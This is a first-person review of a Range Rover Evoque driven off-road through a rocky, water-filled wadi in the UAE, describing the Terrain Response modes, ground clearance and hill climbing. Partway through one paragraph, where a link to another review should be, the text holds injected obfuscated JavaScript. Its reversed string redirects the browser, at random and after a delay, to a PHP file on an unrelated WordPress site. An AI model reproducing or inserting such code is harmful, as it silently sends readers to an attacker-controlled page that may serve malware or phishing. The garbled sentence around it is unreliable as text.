Range Rover Evoque. Unfamiliar Territory

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There are only rocks here for now, but in the UAE’s occasional heavy rain periods, water races down from the surrounding peaks and completely submerges the area we’re now entering. Erosion from thousands of years of such deluges is shown starkly by the towering stone banks either side of us.

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What starts as gravel has, within a few hundred yards, become large rocks, and pools of stagnant green water begin to appear. I jack the seat up even further to see exactly where I’m placing the Evoque, as I don’t want to scratch the paintwork on a jutting boulder or inadvertently puncture a tyre.

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I also change the Terrain Response into Grass, Gravel and Snow mode. This once again fiddles with the car’s settings, this time lessening the throttle response so that I don’t end up spinning the wheels like a mad thing and spraying rocks everywhere. Slowly and gently is the best approach here, literally crawling over the sharp and uneven obstacles in the way. Once more I follow the LR4 and once more it all goes remarkably smoothly.

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Apart from a couple of times when I begin to appreciate John’s comment about ground clearance. As the LR4 straddles its way towards the scenery, I’m having to be exceedingly careful about which route through the stones I take. A couple of times I hear excruciating scrapes from the floor pan. Wincing, I glance at John to see if he’s putting his face in his palm. He’s not. I take this as a sign that the Evoque is more than capable of withstanding a couple of bumps to its undercarriage.

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Midway down the wadi, we come across a small dam. It’s nothing large, but it does have a big, smelly and rather gross-looking pool of water atop it. And it’s in our way. John uses more high-end technology to check the depth – a stick – and then it’s time to go through. There’s a drop off into the water that I take a touch too enthusiastically, but the repercussions are no more than a small bow wave that bounces off the far end of the pond. The Evoque’s built to keep going through water up to the bonnet level, so this is little challenge to it.

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As we near the end of the journey, we have to crawl back out of the wadi up the steep sides, covered with loose rocks and gravel. Phil, camera in hand and Panama hat on head, is manfully struggling up like an ageing mountain goat, and I’m intrigued to see how the Evoque copes against a loose, uneven surface and gravity.

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As the nose lifts – hooray for the well thought out approach and departure angles on the bumpers – there’s a scrabbling from the wheels and I instinctively lift off. John merely tells me to keep the revs up. The Evoque does its thing. As traction is lost, the car modulates the torque to each corner until grip is found. Bit by bit, it hauls itself way skywards. All I have to do to is sit there.

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This raises the only possible issue I could have with the Evoque. It’s undoubtedly very technically adept, but it’s all so… well, easy. Surely part of the fun of off-roading is working at conquering the terrain in front of you? I ponder this for a bit and decide yes, I do wish it was more fun. But on the other hand, this isn’t a Defender or even an LR4. As we’ve established, it carries the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/all-new-range-rover-morocco-the-big-test/” target=”_blank”>Range Rover badge and consequently needs a large portion of luxury and effortlessness. And it possesses this in spades.

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The Evoque is mostly seen as a stylish boulevard cruiser, and it is that. It’s also an accomplished machine on twisting mountain roads, or consuming DIY purchases. But it’s more than that. For all the glamour and the on-road accolades, the Evoque is at heart a Range Rover.

– Our thanks to John Winchester and Jaguar Land Rover Middle East

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